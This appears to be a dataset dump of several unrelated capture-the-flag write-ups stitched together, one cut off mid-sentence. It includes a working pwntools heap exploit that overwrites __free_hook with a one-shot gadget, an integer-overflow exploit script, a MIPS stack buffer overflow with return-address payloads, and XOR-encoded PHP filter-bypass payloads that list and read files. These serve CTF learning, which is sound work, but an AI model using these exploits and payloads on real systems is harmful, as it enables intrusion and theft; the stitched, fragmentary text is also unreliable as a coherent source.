text_chunk
stringlengths
151
703k
[iz_heap_lv2 binaries](https://github.com/fr0zn/CTF/tree/master/isitdtu-quals/pwn/iz_heap_lv2) ```#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import * BIN_NAME = "./iz_heap_lv2"LIBC_NAME = "./libc.so.6" HOST = "165.22.110.249"PORT = 4444 def add(size, data): p.sendlineafter('Choice:', '1') p.sendlineafter('size:', str(size)) p.sendafter('data:', data) def edit(index, data=None): p.sendlineafter('Choice:', '2') p.sendlineafter('index:', str(index)) if data: p.sendafter('data:', data) def delete(index): p.sendlineafter('Choice:', '3') p.sendlineafter('index:', str(index)) def show(index): p.sendlineafter('Choice:', '4') p.sendlineafter('index:', str(index)) p.recvuntil('Data: ') return p.recvuntil('\n', drop=True) def exploit(p): add(e.got['printf'], 'AAAAAAAA') printf_got = u64(show(20).ljust(8,'\x00')) libc_base = printf_got - libc.sym['printf'] free_hook = libc_base + libc.sym['__free_hook'] one_shot = libc_base + 0x4f322 log.info("libc @ " + hex(libc_base)) log.info("one_shot @ " + hex(one_shot)) log.info("__free_hook @ " + hex(free_hook)) delete(0) add(0x602048, 'AAAAAAAA') add(127, 'BBBBBBBB') add(127, 'CCCCCCCC') chunk_ptr = u64(show(20).ljust(8,'\x00')) delete(0) add(chunk_ptr, 'DDDDDDDD') delete(20) delete(2) delete(1) add(127, p64(free_hook)) add(127, '1') add(127, '2') add(127, p64(one_shot)) delete(0) p.interactive() if __name__ == "__main__": e = ELF(BIN_NAME) libc = ELF(LIBC_NAME) env = dict(LD_PRELOAD = LIBC_NAME) p = remote(HOST, PORT) # p = process(BIN_NAME, env=env) exploit(p)```
Out of bounds write in trustlet ‘1’, allows us to write random bytes at an address ofour choice. We can write our shellcode to an `rwx` region with this, without any bruteforce !
(with alternative, probably unintended solution) Arrival & Reconnaissance Having successfully figured out this "coordinate" problem. The ship lurches forward violently into space. This is one of the moments when you realize that some kind of thought or plan would have been good, but typically for you and how you found yourself in this situation, you didn't think too much before acting. Only the stars themselves know where you'll end up. After what seems like an eternity, or at least one full season of "Xenon's Next Top Galactic Overlord" you arrive in a system of 9 planetary bodies, though one of them is exceptionally small. You nostalgically remember playing explodatoid with your friends and hunting down planets like this. But this small planet registers a hive of noise and activity on your ships automated scanners. There's things there! Billions upon trillions of things, moving around, flying, swimming, sliding, falling. Of particular interest may be the insect-like creatures flying around this planet, uniformly. One has the words "Osmium Satellites" written on it. Maybe this is a starting point to get to know what's ahead of you. Satellite (**networking**) Placing your ship in range of the Osmiums, you begin to receive signals. Hoping that you are not detected, because it's too late now, you figure that it may be worth finding out what these signals mean and what information might be "borrowed" from them. Can you hear me Captain Tim? Floating in your tin can there? Your tin can has a wire to ground control? Find something to do that isn't staring at the Blue Planet. In archive we have two files - `README.pdf` and `init_sat`.The curse of my is an abscence of habit to really truly read README files before taking any further actions. To be precise, I have read the file, but did not look on picture. Though it is not very important. Ok, let's run `init_sat`. It requests some *satellite name*...How can we know it? Well, the easy path is to carefully read README.pdf and to realize that there is sign on the satellite's photo.But for me it is very hard path because of said above.So disasming gives the answer either. $ r2 init_sat -- radare2 contributes to the One Byte Per Child foundation. [0x00459520]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x00459520]> afl~main 0x0042df20 35 909 sym.runtime.main 0x00454ab0 3 71 sym.runtime.main.func1 0x00454b00 5 60 sym.runtime.main.func2 0x004b10f0 38 290 sym.net.isDomainName 0x004b1220 14 263 sym.net.absDomainName 0x004f8920 13 1029 sym.main.main 0x004f8d30 20 1951 sym.main.connectToSat 0x004f94d0 7 117 sym.main.init [0x00459520]> [email protected] / (fcn) sym.main.main 1029 | sym.main.main (); | ; var int32_t var_8h @ rsp+0x8 .................... | ::|: 0x004f8b47 e8b4fefdff call sym.bufio.__Reader_.ReadBytes | ::|: 0x004f8b4c 488b442418 mov rax, qword [var_18h] ; [0x18:8]=-1 ; 24 | ::|: 0x004f8b51 488b4c2410 mov rcx, qword [var_10h] ; [0x10:8]=-1 ; 16 | ::|: 0x004f8b56 488b542420 mov rdx, qword [var_20h] ; [0x20:8]=-1 ; 32 | ::|: 0x004f8b5b 488d5c2448 lea rbx, [var_48h] ; 0x48 ; 'H' ; 72 | ::|: 0x004f8b60 48891c24 mov qword [rsp], rbx | ::|: 0x004f8b64 48894c2408 mov qword [var_8h], rcx | ::|: 0x004f8b69 4889442410 mov qword [var_10h], rax | ::|: 0x004f8b6e 4889542418 mov qword [var_18h], rdx | ::|: 0x004f8b73 e818caf4ff call sym.runtime.slicebytetostring | ::|: 0x004f8b78 488b442428 mov rax, qword [var_28h] ; [0x28:8]=-1 ; '(' ; 40 | ::|: 0x004f8b7d 4889442440 mov qword [var_40h], rax | ::|: 0x004f8b82 488b4c2420 mov rcx, qword [var_20h] ; [0x20:8]=-1 ; 32 | ::|: 0x004f8b87 48894c2468 mov qword [var_68h], rcx | ::|: 0x004f8b8c 48890c24 mov qword [rsp], rcx | ::|: 0x004f8b90 4889442408 mov qword [var_8h], rax | ::|: 0x004f8b95 e8e612feff call sym.strings.ToLower | ::|: 0x004f8b9a 488b442410 mov rax, qword [var_10h] ; [0x10:8]=-1 ; 16 | ::|: 0x004f8b9f 488b4c2418 mov rcx, qword [var_18h] ; [0x18:8]=-1 ; 24 | ::|: 0x004f8ba4 4883f905 cmp rcx, 5 ; 5 | ,=====< 0x004f8ba8 7512 jne 0x4f8bbc | |::|: 0x004f8baa 813865786974 cmp dword [rax], 0x74697865 ; 'exit' | ,======< 0x004f8bb0 750a jne 0x4f8bbc | ||::|: 0x004f8bb2 8078040a cmp byte [rax + 4], 0xa ; [0x4:1]=255 ; 10 | ,=======< 0x004f8bb6 0f84ea000000 je 0x4f8ca6 | |``-----> 0x004f8bbc 4883f907 cmp rcx, 7 ; 7 | | ,=====< 0x004f8bc0 751a jne 0x4f8bdc | | |::|: 0x004f8bc2 81386f736d69 cmp dword [rax], 0x696d736f ; 'osmi' | |,======< 0x004f8bc8 7512 jne 0x4f8bdc | |||::|: 0x004f8bca 66817804756d cmp word [rax + 4], 0x6d75 ; 'um' ; [0x4:2]=0xffff ; 28021 | ========< 0x004f8bd0 750a jne 0x4f8bdc | |||::|: 0x004f8bd2 8078060a cmp byte [rax + 6], 0xa ; [0x6:1]=255 ; 10 | ========< 0x004f8bd6 0f84ad000000 je 0x4f8c89 | -``-----> 0x004f8bdc 48c704240000. mov qword [rsp], 0 | | ::|: 0x004f8be4 488d0576e904. lea rax, [0x00547561] ; "Unrecognized satellite: \", required CPU feature\nbad defer entry in panicbad defer size class: i=block index out of rangecan't s" | | ::|: 0x004f8beb 4889442408 mov qword [var_8h], rax .................................................... [0x00459520]> Wow, I'm glad that there is no need to reverse all this application!Really, it has A LOT of different stuff, like regexps and networking, of course.We can see now that for jumping over "Unrecognized satellite" we must to enter string "osmium". And the check is case insensitive - this fact can't be seen from README.pdf! Let's use it, just for not feeling myself so stupid. $ ./init_sat Hello Operator. Ready to connect to a satellite? Enter the name of the satellite to connect to or 'exit' to quit oSmIuM Establishing secure connection to oSmIuM satellite... Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect a Username: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E Copy-paste URL to the browser and get: Satellite Config Data VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg== This is obviously base64-encoded data (a-z, A-Z, 0-9, +, / and = for padding). Decode it: $ echo "VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==" | python -m base64 -d - Username: wireshark-rocks Password: start-sniffing! Okay, let's sniff `init_sat`'s traffic. Wireshark certainly rocks, but there are other good tools and I'm trying leave command line as rare as possible First, open another shell and see what connections `init_sat` has. $ netstat -tnpa | grep init_sat tcp 0 0 10.137.5.22:41228 34.76.101.29:1337 ESTABLISHED 20996/./init_sat Second, start to sniff filtering by port number. $ sudo tcpdump -nA port 1337 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Then return to `init_sat` and hit (a) again. We see some traffic: 13:35:38.710493 IP 34.76.101.29.1337 > 10.137.5.22.41228: Flags [F.], seq 380253893, ack 3302414040, win 222, length 0 ... ....9.......&.)P...B...Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f} 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km.. Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E 13:36:01.992300 IP 10.137.5.22.41230 > 34.76.101.29.1337: Flags [.], ack 451, win 473, length 0 .... I believe that password is substituted for asterisks by `init_sat` itself. There are a lot of stuff about regular expressions in it as well as a string `CTF{\S{40}}` (and how would I know this if looked README's photo?).Doing data protection on client-side is a Great Evil, so let's try to solve this problem in completely another way, not like "networking", but "pwn" problem. $ r2 -w init_sat -- ((fn [f s n] (str (f f s n) "dare2")) (fn [f s n] (pr s) (if (> n 0) (f f (str s "ra") (dec n)) s)) "" (/ 1.0 0)) [0x00459520]> / CTF Searching 3 bytes in [0x642420-0x660b78] hits: 0 Searching 3 bytes in [0x62b000-0x642420] hits: 0 Searching 3 bytes in [0x4fa000-0x62ac02] hits: 2 Searching 3 bytes in [0x400000-0x4f9770] hits: 0 0x00544c74 hit0_0 .e.sp=<invalid opCTF{\S{40}}GOTRACEB. 0x0054c158 hit0_1 .tact the Google CTF team.go package. [0x00459520]> s 0x544c74 [0x00544c74]> px 8 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00544c74 4354 467b 5c53 7b34 CTF{\S{4 [0x00544c74]> w WTF [0x00544c74]> px 8 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00544c74 5754 467b 5c53 7b34 WTF{\S{4 [0x00544c74]> q $ ./init_sat Hello Operator. Ready to connect to a satellite? Enter the name of the satellite to connect to or 'exit' to quit osMiuM Establishing secure connection to osMiuM satellite... Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect a Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f} 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E Finally, solved twice. **CTF{4efcc72090af28fd33a2118985541f92e793477f}**
CVE-2018-10008101. Calculate overflow size2. Spray win address3. ????4. PROFIT The script is not reliable, so better monitor debug log. ```from pwn import * NUM_REPEATS = 2305843009213693953WIN = 0x30f620WIN_PTR = 0x701E40while True: r = remote("challenges.fbctf.com",1342) try: r.sendlineafter("6","1") r.sendlineafter("Name: ",p64(WIN_PTR)) r.sendlineafter("Description: ","") r.sendlineafter("Price:","1.0") r.sendlineafter("\n","4") r.sendlineafter("add: ","1") r.sendlineafter("Count: ",str(NUM_REPEATS)) r.sendlineafter("\n","6") flag = r.recvuntil("}") log.success("FLAG : "+flag+"}") pause() r.close() except: try: r.close() except: pass NUM_REPEATS += 1r.interactive() ``` FLAG : fb{s4f3_l4nguag3s_arent_always_safe}
(includes solution for second flag) STOP GAN (**pwn**) Success, you've gotten the picture of your lost love, not knowing that pictures and the things you take pictures of are generally two seperate things, you think you've rescue them and their brethren by downloading them all to your ships hard drive. They're still being eaten, but this is a fact that has escaped you entirely. Your thoughts swiftly shift to revenge. It's important now to stop this program from destroying these "Cauliflowers" as they're referred to, ever again. Zip-file contains some executable `bof` and some C source code `console.c`. From source code we can read that our first goal is to simply overflow buffer of `bof` binary, which is run by `console` program. Also, from `console.c` it looks like `bof` is MIPS binary, check it: $ file ./bof ./bof: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a31c48679f10dc6945e7b5e3a88b979bebe752e3, not stripped Typically on x86/amd64 system you need `qemu-mipsel` to run such executables, and `console.c` tries to do it. But it is not necessary to compile `console.c`, because qemu can be invoked manually: $ qemu-mipsel ./bof Cauliflower systems never crash >> hello Okay, it must be very easy just to overflow the buffer. Say, 1 kb should be enough in most cases: $ python -c "print('A'*1024)" | qemu-mipsel ./bof Cauliflower systems never crash >> qemu-mipsel: /build/qemu-DqynNa/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed. qemu-mipsel: /build/qemu-DqynNa/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed. Segmentation fault And now we should send it to the given address (do not forget prepend trash with 'run' command for `console` wrapper): $ python -c "print('run\n'+'A'*1024)" | nc buffer-overflow.ctfcompetition.com 1337 Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command. Bonus flag for controlling the crash. Console commands: run quit >>Inputs: run CTF{Why_does_cauliflower_threaten_us} Cauliflower systems never crash >> segfault detected! ***CRASH*** Console commands: run quit >> Here is first flag: **CTF{Why_does_cauliflower_threaten_us}** Now to the second flag. Use radare2 for it. As MIPS instruction set can looks unfamiliar, one can turn on disasm descriptions to ease understanding of what is going on. Essentially, the buffer overflow exploitation must not differ significantly from those of x86 architecture. Because with MIPS we have almost exactly the same: - *stack* that is contigous block of memory; - *frame pointer* and *stack pointer* - two addresses within *stack* that specify *stack frame* used for function arguments and local variables (they are `fp` and `sp` in radare2); - *return address* that is pushed to the *stack* on function call and poped from stack when returning from it (it is `ra` in radare2). Some disassembling: $ r2 ./bof -- The Hard ROP Cafe [0x00400530]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x00400530]> e asm.describe =true [0x00400530]> afl~main 0x00474504 15 384 sym._nl_unload_domain 0x004032b0 418 6248 -> 5732 sym._nl_load_domain 0x004466c0 1 60 sym._IO_switch_to_main_wget_area 0x00402f80 39 816 sym._nl_find_domain 0x00400908 6 256 main 0x00474480 6 132 sym._nl_finddomain_subfreeres 0x00400a10 35 784 sym.__libc_start_main 0x0040f53c 1 56 sym._IO_switch_to_main_get_area [0x00400530]> pdf@main / (fcn) main 256 | int main (int argc, char **argv, char **envp); | ; arg int32_t arg_10h @ fp+0x10 | ; arg int32_t arg_18h @ fp+0x18 | ; var int32_t var_10h @ sp+0x10 | ; var int32_t var_120h @ sp+0x120 | ; var int32_t var_124h @ sp+0x124 | ; arg int argc @ a0 | ; arg char **argv @ a1 | 0x00400908 0b001c3c lui gp, 0xb ; loads a 16-bit immediate operand into the upper 16-bits of the register specified. | 0x0040090c 68809c27 addiu gp, gp, -0x7f98 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400910 21e09903 addu gp, gp, t9 ; adds two registers | 0x00400914 d8febd27 addiu sp, sp, -0x128 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400918 2401bfaf sw ra, (var_124h) ; sw $t,C($s), stores a word into: MEM[$s+C] and the following 3 bytes. | 0x0040091c 2001beaf sw fp, (var_120h) ; sw $t,C($s), stores a word into: MEM[$s+C] and the following 3 bytes. | 0x00400920 25f0a003 move fp, sp ; moves a register value into another register (pseudoinstruction). ........................................................................ | | 0x004009a0 1000dc8f lw gp, (arg_10h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | | 0x004009a4 1c00c227 addiu v0, fp, 0x1c ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | | 0x004009a8 25284000 move a1, v0 ; moves a register value into another register (pseudoinstruction). | | 0x004009ac 3480828f lw v0, -0x7fcc(gp) ; [0x4a09a4:4]=0x470000 ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | | 0x004009b0 f4544424 addiu a0, v0, 0x54f4 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0); argc | | 0x004009b4 3881828f lw v0, -sym.__isoc99_scanf(gp) ; [0x4a0aa8:4]=0x408740 sym.__isoc99_scanf ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | | 0x004009b8 25c84000 move t9, v0 ; moves a register value into another register (pseudoinstruction). | | 0x004009bc 601f1104 bal sym.__isoc99_scanf ; branch and link ; int scanf(const char *format) | | 0x004009c0 00000000 nop ; no operation | | 0x004009c4 1000dc8f lw gp, (arg_10h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | | 0x004009c8 1800c28f lw v0, (arg_18h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | |,=< 0x004009cc 07004014 bnez v0, 0x4009ec | || 0x004009d0 00000000 nop ; no operation | || 0x004009d4 3080828f lw v0, -loc.__ehdr_start(gp) ; [0x4a09a0:4]=0x400000 loc.__ehdr_start ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | || 0x004009d8 40084224 addiu v0, v0, 0x840 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | || 0x004009dc 25c84000 move t9, v0 ; moves a register value into another register (pseudoinstruction). | || 0x004009e0 97ff1104 bal sym.local_flag ; branch and link | || 0x004009e4 00000000 nop ; no operation | || 0x004009e8 1000dc8f lw gp, (arg_10h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | |`-> 0x004009ec 25100000 move v0, zero ; moves a register value into another register (pseudoinstruction). | | ; CODE XREF from main (0x400978) | `--> 0x004009f0 25e8c003 move sp, fp ; moves a register value into another register (pseudoinstruction). | 0x004009f4 2401bf8f lw ra, (var_124h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x004009f8 2001be8f lw fp, (var_120h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x004009fc 2801bd27 addiu sp, sp, 0x128 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400a00 0800e003 jr ra ; jumps to the address contained in the specified register \ 0x00400a04 00000000 nop ; no operation [0x00400530]> Important things to note: - `main` function uses 0x128 = 296 bytes of stack in total, from which: - 4 bytes are used for return address `ra` (in the end it is loaded from stack and program just jumps to this address - see `lw ra, (var_124h)` and `jr ra`) - 4 bytes are used for stack frame pointer `fp` (which also will be restored before returning from `main`) - the rest 0x120 = 288 bytes of stack are local variables - `scanf()` reads data to `fp+0x1c` which is the same as `sp+0x1c` because of `mov fp, sp` after function's prologue, i.e. we can safely pass up to 0x120 - 0x1c = 0x104 = 260 characters before starting to overwrite at first `fp` value and then `ra` value - there is very interesting subroutine `sym.local_flag` Stack layout can be represented as following (I prefer left-to-right layout instead of top-to-bottom because it is more natural for me and can give clearer view on what is going on when we write to the buffer and beyond it's boundaries): sp[0] sp[28] sp[288] sp[292] sp[296] buf[-28] buf[0] buf[260] buf[264] buf[268] ------------------------------------------------------------------------- | char dummy[28] | char buf[260] | fp | ra | <caller's locals> | ... ------------------------------------------------------------------------- Do check our suggestions (remember that `scanf()` also writes NULL-termination character to the end of the buffer, so actual number of written bytes are one plus size of input): $ python -c "print('A'*261)" | qemu-mipsel ./bof Cauliflower systems never crash >> $ python -c "print('A'*263)" | qemu-mipsel ./bof Cauliflower systems never crash >> $ python -c "print('A'*264)" | qemu-mipsel ./bof Cauliflower systems never crash >> Cauliflower systems never crash >> $ python -c "print('A'*265)" | qemu-mipsel ./bof Cauliflower systems never crash >> qemu: uncaught target signal 4 (Illegal instruction) - core dumped Illegal instruction ......... Wow, it seems like writing to `fp` does not cause any problems. I think it is because caller of `main()` does not use this value (his stack pointer).But look, writing to `ra` leads to some weird results. It is because program jumps to some strange address of memory which contains byte trash and not the working code. Now let's think what jumping address can be of our interest. It is very desirable to jump to `0x004009d4`, for example, so execution flow enters function `sym.local_flag`, which is obviously our goal.The problem is, this address contains byte `0x09` which in fact is `'\t'` whitespace character and `scanf()` will replace it with `'\0'` and stop reading. We need address that do not contain any whitespace character, and not contain '\0' (except at the end, or in the high bytes). Let's look into `sym.local_flag` itself: [0x00400530]> [email protected]_flag / (fcn) sym.local_flag 84 | sym.local_flag (int32_t arg1, int32_t arg_10h); | ; arg int32_t arg_10h @ fp+0x10 | ; var int32_t var_10h @ sp+0x10 | ; var int32_t var_18h @ sp+0x18 | ; var int32_t var_1ch @ sp+0x1c | ; arg int32_t arg1 @ a0 | ; CALL XREF from main (0x4009e0) | 0x00400840 0b001c3c lui gp, 0xb ; loads a 16-bit immediate operand into the upper 16-bits of the register specified. | 0x00400844 30819c27 addiu gp, gp, -0x7ed0 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400848 21e09903 addu gp, gp, t9 ; adds two registers | 0x0040084c e0ffbd27 addiu sp, sp, -0x20 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400850 1c00bfaf sw ra, (var_1ch) ; sw $t,C($s), stores a word into: MEM[$s+C] and the following 3 bytes. | 0x00400854 1800beaf sw fp, (var_18h) ; sw $t,C($s), stores a word into: MEM[$s+C] and the following 3 bytes. | 0x00400858 25f0a003 move fp, sp ; moves a register value into another register (pseudoinstruction). | 0x0040085c 1000bcaf sw gp, (var_10h) ; sw $t,C($s), stores a word into: MEM[$s+C] and the following 3 bytes. | 0x00400860 3480828f lw v0, -0x7fcc(gp) ; [0x4a09a4:4]=0x470000 ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x00400864 74544424 addiu a0, v0, 0x5474 ; 'tT' ; add sign-extended constants (or copy one register to another: addi $1, $2, 0); arg1 | 0x00400868 3080828f lw v0, -loc.__ehdr_start(gp) ; [0x4a09a0:4]=0x400000 loc.__ehdr_start ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x0040086c 30074224 addiu v0, v0, 0x730 ; add sign-extended constants (or copy one register to another: addi $1, $2, 0) | 0x00400870 25c84000 move t9, v0 ; moves a register value into another register (pseudoinstruction). | 0x00400874 aeff1104 bal sym.print_file ; branch and link | 0x00400878 00000000 nop ; no operation | 0x0040087c 1000dc8f lw gp, (arg_10h) ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x00400880 25200000 move a0, zero ; moves a register value into another register (pseudoinstruction). | 0x00400884 2081828f lw v0, -sym.exit(gp) ; [0x4a0a90:4]=0x407b28 sym.exit ; lw $t,C($s), loads the word stored from: MEM[$s+C] and the following 3 bytes. | 0x00400888 25c84000 move t9, v0 ; moves a register value into another register (pseudoinstruction). | 0x0040088c a61c1104 bal sym.exit ; branch and link ; void exit(int status) \ 0x00400890 00000000 nop ; no operation Let's take address `0x00400858`, I like it because it restores `fp` with some useful value and we must not think a lot about what to write to it.All pieces together: 260 bytes of trash, 4 bytes of more trash (because `fp` will be overwritten very soon) and 4 bytes of return address to `0x00400858` (remember byte ordering, it is 58:08:40:00 in order), high byte of which we may not send, `scanf()` will write it for us as NULL-terminator.Try it: $ python -c "print('A'*260 + 'A'*4 + '\x58\x08\x40')" | qemu-mipsel ./bof Cauliflower systems never crash >> could not open flag $ Notice that there is no segmentation fault, the program thinks that everything is Ok. And there is message that it tries but could not open a flag. This tells us that we are on the right way. Check it with remote server: $ python -c "print('run\n' + 'A'*260 + 'A'*4 + '\x58\x08\x40')" | nc buffer-overflow.ctfcompetition.com 1337 Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command. Bonus flag for controlling the crash. Console commands: run quit >>Inputs: run CTF{controlled_crash_causes_conditional_correspondence} Cauliflower systems never crash >> Console commands: run quit >> The second one: **CTF{controlled_crash_causes_conditional_correspondence}**
# ISITDTU CTF 2019 - EasyPHP ```EasyPHP - Web - 871 Points (20 Solves)Don't try to run any Linux command, just use all the PHP functions you know to get the flaghttp://165.22.57.95:8000/``` ## Source ```php 0xd ) die('you are so close, omg'); eval($_);?>``` The goal of the challenge is to execute PHP code bypassing restrictions:- We can only use a reduced set of characters.- We can only use 13 different characters at the same time. ### Allowed Functions Combining `get_defined_functions()` with the previous regular expression we show which PHP functions we can use. - rtrim, trim, ltrim- chr- link, unlink- tan, atan, atanh, tanh- intval- mail- min, max On the other hand, we have the following ascii characters available:`!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~` ### Testing environment Modifying the source code of the test, we set up a local environment in which to test commands with fewer limitations. We prove that it is possible to execute functions from a string. It is not possible to use *echo*, *print* or *include*.```'echo'();Call to undefined function echo()``` ### Getting string One of the limitations is not being able to use any type of quotation mark to use a string. Given the available functions, the need to use the `chr` function seems obvious. Using this payload we can get any character, however, not being able to use the concatenation operator `.`, we can only generate one character and we can not use functions. ```phpchr((a==a)+(a==a)+...) -> 'A'``` ### Getting valid string When we use a text without quotes, PHP tries to interpret it as a constant, and if it doesn't, it converts it to string. `undefined constant aaa - assumed 'aaa'` With the help of [@phiber](https://twitter.com/phib_) we manage to use the XOR `^` operator to evade the filter and use characters that are not allowed. With the following string we can execute `phpinfo`.```(qiqhnin^iiiiibi^hhhhimh)();```We can see how it's running PHP 7.3.6. Besides getting the list of disabled functions, which are all those that could allow execution of commands, including `mail` and `imap_open`. Another configuration to take into account is the `open_basedir` variable, which is configured in such a way that it is not allowed to escape from the current directory. ![](img/phpinfo.jpg) ### Directory Listing Once we have verified that we can execute PHP code, we try to use file system functions in order to enumerate files. Both `glob('*')` and `scandir('.')` return an array, which forces us to use a function that shows us an array on screen as `print_r` or `var_dump`. Since the functions are very similar, we choose the combination that uses the least number of different characters. ```10 - var_dump() 8 - print_r() 8 - glob('*')11 - scandir('.') 16 - var_dump(scandir('.'))16 - var_dump(glob('*')) 14 - print_r(scandir('.'))14 - print_r(glob('*'))``` We converted it to XOR format, to simplify the process, [@phiber](https://twitter.com/phib_) recommended me to use `%FF` as a base character, since PHP also interprets it as a string. ```print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d)) . ^ 0xff -> 0xd1 -> ((%ff)^(%d1))``` We assemble the complete function and close with `;`. A total of 16 different characters are used. ```((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));``` ### Simplify characters With a simple script we look for which characters can be generated as XOR combination of others, so that we can save a few characters. ```._acdinprst t = s^c^dn = i^c^dr = a^c^p print_r -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%9e%96%96%8c%a0%9e)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))scandir -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))``` By saving 3 characters, we get a valid payload with 13 different characters. ![](img/scandir.jpg) In this way we know the name of the file, but the web server denies the request of `txt` files. We do the same process to generate a payload with `readfile(end(scandir(.)))` and read the flag. ![](img/readfile.jpg)
Read 850+ lines of decompiled C source, exploit an unvalidated parameter, leak a random number, write some shell code to `rwx` memory and get the shell.
# the-inspector (50) ## Problem The Federal CTF Inspector dropped by today looking for some hidden flags. He clearly needs to pursue a different career because we hid the flag right in plain sight. ## Solution The flag is hidden as a comment in the source code of the problem. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-BCA/images/the-inspector.png)
# 64+word ## __Description__ Help Keith with his word search!!!! Where is the flag? [64word.txt](64word.txt) ## __Solution__ It's a word search game in base64 format. First I converted 'hsctf{' to base 64: ```>>> base64.b64encode(b'hsctf{')b'aHNjdGZ7'``` Then I tried to look for 'aHNj' in the file. It is located in the 35th line in the file and is diagonal. Write a simple [script](solve.py) to retrieve and decode it. ``` aHNjdGZ7YjRzM182NF93MHJkX3MzYXJjaDNzX2FyM19mdTk/fQ5Hb'hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}\x0eG' ``` The flag is ```hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}```
# Welcome to the Beginner's Quest Welcome to the Beginner's Quest. The Beginner's Quest is aimed for new CTF-goers who may not feel ready for the main event. These writeups are done by Team IrisCS skat, also known as Shawn Duong. You can find my website at [shawnduong.github.io](https://shawnduong.github.io/) and you can email me at [[email protected]](mailto:[email protected]). I hope you enjoy reading these writeups as much as I enjoyed writing them! # Beginner's Quest ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-0.png) # Invitation ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-1.png) Links: [golden disc](https://voyager.jpl.nasa.gov/golden-record/) # Enter Space-Time Coordinates (misc) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-2.png) [Attachment](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/attachments/day0.zip) Alright, let's get started! It looks like we're given a zip file. Let's go ahead and unzip it and see what we're dealing with. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-3.png) I first downloaded the challenge off of the website. Because it's a zip file, I use the `unzip` utility to extract the contents of the file into my current working directory. Then, I listed all of the files in my current working directory using `ls`, 